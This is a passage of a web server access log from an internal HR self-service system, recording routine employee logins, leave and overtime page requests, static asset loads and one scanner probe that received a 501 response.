[05/Dec/2025:18:53:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120423%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.40.60 - - [05/Dec/2025:18:53:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:53:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.40.60 - - [05/Dec/2025:18:53:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6843 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:53:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6843 192.168.40.60 - - [05/Dec/2025:18:53:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11012 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:53:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11012 100.64.0.1 - - [05/Dec/2025:18:59:31 +0800] "MGLNDD_222.92.19.198_8088" 501 227 100.64.0.1 - - [05/Dec/2025:18:59:31 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 192.168.12.46 - - [05/Dec/2025:19:11:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [05/Dec/2025:19:11:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.46 - - [05/Dec/2025:19:11:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [05/Dec/2025:19:11:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [05/Dec/2025:19:11:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.12.46 - - [05/Dec/2025:19:11:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:41 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 116419 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 116419 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [05/Dec/2025:19:11:55 +0800] "GET 